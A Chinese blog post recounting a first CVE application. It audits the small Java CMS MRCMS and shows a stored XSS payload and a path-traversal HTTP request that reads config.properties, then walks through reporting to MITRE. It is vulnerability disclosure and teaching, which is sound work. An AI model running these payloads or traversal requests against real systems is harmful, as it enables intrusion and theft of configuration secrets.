记录第一次申请CVE编号过程

文章首发个人公众号

作为一个安服仔突发奇想去申请个CVE编号,大型的CMS代码太多了太复杂,我们就选一些小的CMS的来代码审计获取CVE编号。

漏洞很水,但是自己的首个CVE还是有纪念意义的。

MRCMS: https://gitee.com/marker/MRCMS

存储型xss

代码路径:
\MRCMS\src\main\java\org\marker\mushroom\controller\SystemController.java
在这里插入图片描述
从代码中 syscfg.set 方法写入配置信息,跟进行看看set方法


 /**
  * 设置配置key = val
  * @param key 键
  * @param val 值
  */
 @Override
 public void set(String key, String val) {
  if(val == null){
   val = "";
  }
  this.properties.put(key, val);
 }

set 方法是直接写入内容,没有任意过滤,所以导致xss漏洞产生
在这里插入图片描述
在后台网站描述中添加xss代码

"><img src=1 onerror=alert(/xss/)>

在这里插入图片描述
在这里插入图片描述

任意文件读取漏洞

存在漏洞代码路径 :

MRCMS\src\main\java\org\marker\mushroom\controller\FileController.java

 /**
  * 编辑文本文件
  * @param path
  * @param name
  * @return
  */
 @RequestMapping("/edit")
 public ModelAndView edit(@RequestParam("path") String path, @RequestParam("name") String name){
  ModelAndView view = new ModelAndView(this.viewPath + "edit");
  File file = new File(WebRealPathHolder.REAL_PATH + encoding(path + File.separator + name));
  try {
   view.addObject("data", FileTools.getFileContet(file, FileTools.FILE_CHARACTER_UTF8));
  } catch (IOException e) {
   e.printStackTrace();
  }
  view.addObject("path", encoding(path));
  view.addObject("name", encoding(name));
  return view;
 }

在这里插入图片描述
跟进FileTools.getFileContet方法

 /**
  * 获取文本文件内容
  * @param filePath 文件路径
  * @param character 字符编码
  * @return String 文件文本内容
  * @throws IOException 
  * */
 public static final String getFileContet(File filePath,String character) throws IOException{
  return FileTools.getContent(filePath, character);
 }

在这里插入图片描述
方法中调用了getContent 方法,接着跟进
在这里插入图片描述
从上面分析代码中是直接获取文件内容,并且没有对文件路径进行判断,导致可以跨目录读取文件

在这里插入图片描述请求包

GET /admin/file/edit.do?path=../resources/config.properties&name= HTTP/1.1
Host: 127.0.0.1:8080
Referer: http://127.0.0.1:8080/admin/index.do
Sec-Fetch-Dest: empty
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Mode: cors
X-Requested-With: XMLHttpRequest

编写报告提交CVE

在github上编写漏洞发现过程和给出poc,编写报告一定要用英文写,不然老外看不懂

下面两个是例子,我自己申请的CVE

https://github.com/wy876/cve/issues/1
https://github.com/wy876/cve/issues/2

在这里插入图片描述
提交CVE前,还得去查一下,挖掘的漏洞有没有被提交CVE https://cve.mitre.org/cve/search_cve_list.html
在这里插入图片描述
接着就提交申请

https://cveform.mitre.org/
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

提交后就会收到一封邮件,然后就等待审核分配CVE编号
在这里插入图片描述
差不多一个月就收到CVE编号了
在这里插入图片描述

  • 4
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yr678

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值